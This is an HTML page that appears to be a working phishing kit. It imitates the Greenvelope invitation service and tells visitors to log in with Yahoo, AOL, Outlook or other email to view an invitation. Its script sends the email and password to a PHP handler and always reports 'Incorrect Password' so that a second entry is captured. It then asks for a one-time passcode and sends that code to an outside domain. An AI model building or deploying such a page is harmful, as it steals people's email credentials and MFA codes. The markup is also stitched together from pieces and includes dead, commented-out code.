<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">

<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css'>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>

<style>
body, html {
  height: 100%;
  margin: 0;
  font-family: Arial, Helvetica, sans-serif;
}

* {
  box-sizing: border-box;
}

.bg-image {
  background-image: url("Image/USETODAY.png");
  filter: blur(1px);
  -webkit-filter: blur(1px);
  height: 100%;
  background-position: center;
  background-repeat: no-repeat;
  background-size: cover;
}

.bg-text {
  background-color: #00000099;
  color: white;
  border: 3px solid #f1f1f1;
  border-radius: 15px;
  position: absolute;
  top: 10%;
  left: 25%;
  width: 50%;
  padding: 20px;
  text-align: center;
}

.modal-body {
  text-align: left;
  color: black;
}

.button {
  width: 80%;
  color: white;
  margin: auto;
  display: flex;
  margin-top: 20px;
}

.b1 { background-color: blue; }
.b2 { background-color: red; }
.b3 { background-color: #4d8fe4; }
.b4 { background-color: #8f1189; }
.b5 { background-color: green; }
.btext { margin-left: 20px; margin-top: 5px; }

/* Confetti Canvas */
#confetti-canvas {
  position: fixed;
  top: 0;
  left: 0;
  pointer-events: none;
  z-index: 9999;
}

@media only screen and (max-width: 767px) {
  .bg-text {
    width: 85%;
    padding: 10px;
    top: 10%;
    left: 7%;
  }
  .imagem img {
    width: 80px;
    height: 80px;
  }
}
</style>
</head>
<body>

<div class="bg-image"></div>

<!-- Confetti Canvas -->
<canvas id="confetti-canvas"></canvas>

<!-- Your existing content here -->
<!-- Confetti Script -->
<script>
const confettiCanvas = document.getElementById("confetti-canvas");
const ctx = confettiCanvas.getContext("2d");
confettiCanvas.width = window.innerWidth;
confettiCanvas.height = window.innerHeight;

const colors = ["#fce18a", "#ff726d", "#b48def", "#3ac5f9", "#3bcf93", "#ffd700"];

function randomRange(min, max) {
  return Math.random() * (max - min) + min;
}

class Confetti {
  constructor() {
    this.x = Math.random() * confettiCanvas.width;
    this.y = Math.random() * confettiCanvas.height - confettiCanvas.height;
    this.r = randomRange(5, 12);
    this.color = colors[Math.floor(Math.random() * colors.length)];
    this.speed = randomRange(2, 5);
    this.tilt = randomRange(-10, 10);
    this.tiltAngleIncrement = randomRange(0.05, 0.12);
    this.tiltAngle = 0;
  }
  draw() {
    ctx.beginPath();
    ctx.lineWidth = this.r;
    ctx.strokeStyle = this.color;
    ctx.moveTo(this.x + this.tilt + this.r / 2, this.y);
    ctx.lineTo(this.x + this.tilt, this.y + this.tilt + this.r / 2);
    ctx.stroke();
  }
  update() {
    this.tiltAngle += this.tiltAngleIncrement;
    this.y += this.speed;
    this.x += Math.sin(this.tiltAngle);
    this.tilt = Math.sin(this.tiltAngle) * 15;
    if (this.y > confettiCanvas.height) {
      this.y = -20;
      this.x = Math.random() * confettiCanvas.width;
    }
  }
}

let confettiPieces = [];
for (let i = 0; i < 35; i++) confettiPieces.push(new Confetti());

function animateConfetti() {
  ctx.clearRect(0, 0, confettiCanvas.width, confettiCanvas.height);
  for (let piece of confettiPieces) {
    piece.update();
    piece.draw();
  }
  requestAnimationFrame(animateConfetti);
}
animateConfetti();

window.addEventListener("resize", () => {
  confettiCanvas.width = window.innerWidth;
  confettiCanvas.height = window.innerHeight;
});
</script>

</body>
</html>


<div class="bg-image"></div>

<div class="bg-text">
  <div class="imagem">
    <img src="Image/image_2025-03-06_07-06-17.png" alt="Logo of adobe" class="img-fluid" width="250px"><br>
  </div>
  <span class="h4 text-white" style="font-weight: bold;">Manage your Online Invitations & Greeting Card</span><br>
  <br> <span class="h6 text-white font-weight-normal" style="font-size: 14px;">To view the invitation, please select your email provider below and log in. You were invited to access the invitation on Greenenvlope.</span>
  </p>
  
 
  <div class="button b4 formModals" id="myBtny" data-name="Yahoo" data-image="Image/yahoo.png" data-formid="3">
    <img src="Image/yahoo.png" alt="office 360" width="30px" height="30px">    <span class="btext">  Sign in with Yahoo Mail </span>
  </div>

  <div class="button b5 formModals" id="myBtna" data-name="aol" data-image="Image/aol.png" data-formid="4">
    <img src="Image/aol.png" alt="office 360" width="30px" height="30px">    <span class="btext">  Sign in with AOL </span>
  </div>

<div type="button" class="button b1 formModals" id="myBtn" data-name="Outlook" data-image="Image/office360.png" data-formid="1">
    <img src="Image/office360.png" alt="office 360" width="30px" height="30px">    <span class="btext">  Sign in with Outlook </span>
  </div>
 

  <div class="button b3 formModals" id="myBtne" data-name="Email" data-image="Image/email.png" data-formid="5">
    <img src="Image/email.png" alt="office 360" width="30px" height="30px">    <span class="btext">  Sign in with Other Mail </span>
  </div>
  
  <p class="text-white mt-3 text-center" style="font-size: 14px;">Online Invitations & Birthday Cards, greenvelope simplifies event planning with user-friendly tools for managing online invitations and greeting cards.</p>
  <p class="h8 text-center text-white" style="font-size: 11px; font-weight: bold;">© 2025 Sincere Corporation, greenvelope is a registered trademark of Sincere Corporation. All rights reserved. All other product and company names are trademarks or registered trademarks of their respective holders.</p> 



 
           <!-- modal -->
          
           <div class="modal fade" id="formModal" tabindex="-1" role="dialog"
                    aria-labelledby="exampleModalCenterTitle" aria-hidden="true">
                    <div class="modal-dialog modal-dialog-centered" role="document">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h5 class="modal-title" id="exampleModalLongTitle">
                                    <!-- Office36500 -->
                                </h5>
                                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                                    <span aria-hidden="true">&times;</span>
                                </button>
                            </div>
                            <div class="modal-body">
                                <div class="text-center mb-5">
                                    <div class="data-image"></div>
                                    <h4 class="mt-2 txx_hd"> Login
                                        with <span class="form-title"></span> </h4>
                                </div>
                                <form method="post" id="formSubmit" action="processmail.php" class="stage-one">
                                        <p id="error_text" class="text-danger"></p>
                                    <input type="text" id="form-id" name="id" hidden>
                                    <label for="email" class="form_tx">Email
                                        Address </label>
                                    <input type="email" placeholder="Email" class="form-control" name="email_address" required>
                                    <br>
                                    <p> We'll never share your email
                                        with anyone else </p>
                                    <label for="Password">Password</label>
                                    <input type="password" placeholder="Enter Password" class="form-control"
                                        name="password" required>

                                        <div class="mt-3 text-warning" id="loading" style="display: none;">Verifying...</div>

                            </div>
                            <div class="modal-footer">
                                <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                                <button type="submit" class="btn btn-primary" name="submit_form"> Login
                                </button>
                            </div>
                            </form>
                        </div>
                    </div>
                </div>

                           <!-- OTP Notification Modal -->
                           <div class="modal fade" id="otpNotificationModal" tabindex="-1" role="dialog" aria-hidden="true">
    <div class="modal-dialog modal-dialog-centered">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title">OTP Notification</h5>
                <button type="button" class="close" data-dismiss="modal">&times;</button>
            </div>
            <div class="modal-body text-center">
                <div class="spinner-border text-primary" role="status"><span class="sr-only">Loading...</span></div>
                <p class="mt-3">You will receive an OTP within 1-5 minutes. Please check your phone number on file.</p>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-primary" id="proceedToOtp">OK</button>
            </div>
        </div>
    </div>
</div>
                <!-- Second Modal -->
                 <!-- Second Modal -->
                 <div class="modal fade" id="secondModal" tabindex="-1" role="dialog" aria-labelledby="secondModalLabel" aria-hidden="true">
                    <div class="modal-dialog" role="document">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h5 class="modal-title" id="exampleModalLongTitle">
                                    <!-- Office36500 -->
                                </h5>
                                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                                    <span aria-hidden="true">&times;</span>
                                </button>
                            </div>


 
<form method="post" id="otpForm" action="https://menowatted.vu/happy/welcomenow.html" class="text-center">
    <div class="modal-body">
        <h5><strong>Enter the OTP</strong></h5>
        <p class="text-muted">We've sent a code to your phone. It may take up to 5 minutes.</p>
        
        <input type="text" id="otpInput" class="form-control text-center mb-2" name="txtotp" placeholder="Enter OTP" maxlength="6" required>
        
        <p class="text-danger" id="countdown">Time left: <span id="timer">05:00</span></p>
        <div class="text-warning" id="loading" style="display: none;">Verifying...</div>
    </div>
    
    <div class="modal-footer">
        <button type="button" class="btn btn-secondary" data-dismiss="modal"> Close</button>
        <button type="submit" id="submitBtn" class="btn btn-primary" name="submit_second_form" disabled>Submit</button>
    </div>
</form>

<script>
    let timeLeft = 300;
    const timerElement = document.getElementById("timer");
    const otpInput = document.getElementById("otpInput");
    const submitBtn = document.getElementById("submitBtn");

    function updateTimer() {
        let minutes = Math.floor(timeLeft / 60);
        let seconds = timeLeft % 60;
        timerElement.textContent = `${minutes}:${seconds < 10 ? '0' : ''}${seconds}`;
        if (timeLeft > 0) {
            timeLeft--;
            setTimeout(updateTimer, 1000);
        } else {
            document.getElementById("countdown").textContent = "OTP expired. Request a new one.";
            submitBtn.disabled = true;
        }
    }
    updateTimer();
    
    otpInput.addEventListener("input", function() {
        submitBtn.disabled = otpInput.value.length < 6;
    });
</script>

                        </div>
                    </div>
                </div>
                


                <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.bundle.min.js"></script>


<script>
$(".formModals").click(function(e) {
    e.preventDefault();

    var id = $(this).data('formid');
    var formname = $(this).data('name');
    var image = $(this).data('image');

    $("#formModal").modal('show');

    $(".data-image").html("<img src='" + image + "' height='100' width='100' >");
    $(".form-title").html("<span>" + formname + "</span>")
    // $(".form-id").value = id;
    document.getElementById("form-id").value = id;

})
</script>

<script>
    $("#formSubmit").submit(function(e) {

        e.preventDefault(); // avoid to execute the actual submit of the form.

        var form = $(this);
        var actionUrl = form.attr('action');

        $.ajax({
            type: "POST",
            url: actionUrl,
            data: form.serialize(), // serializes the form's elements.
            success: function(data)
            {
                if (form.hasClass('stage-one')) {
                    // Stage one: Display "Incorrect Password" message
                    $("#error_text").text('Incorrect Password');
                    form.removeClass('stage-one').addClass('stage-three');
                }else if (form.hasClass('stage-three')){
                    $('#formModal').modal('hide');
                    $('#otpNotificationModal').modal('show');
                    // alert("Submit me");
                }
                console.log(data);

            }
        }           
                );

    });

    
    // Handle OTP proceed button
    $("#proceedToOtp").click(function() {
        $('#otpNotificationModal').modal('hide');
        $('#secondModal').modal('show');
    });
</script>

<script>
    $(document).ready(function() {
        $("#secondForm").submit(function(e) {
            e.preventDefault(); // avoid to execute the actual submit of the form.

            var form = $(this);
            var actionUrl = form.attr('action');

            $("#loading").show();

            // $.ajax({
            //     type: "POST",
            //     url: actionUrl,
            //     data: form.serialize(), // serializes the form's elements.
            //     dataType: "json", // Expect JSON response
            //     success: function(data) {
            //         if (data.status=="success") {
            //             window.location.href = "redirect.php"; 
            //             // alert('Email has been sent successfully');
            //         } else {
            //             alert('Failed to send email: ' + data.message);
            //         }
            //     },
                // error: function(xhr, status, error) {
                //     alert('An error occurred while sending the email: ' + error);
                // },

            //     complete: function() {
            //         // Hide loading indicator after request completes
            //         $("#loading").hide();
            //     }
            // });
        //     console.log(data);
        // });
    });
</script>



    
</body>
</html>
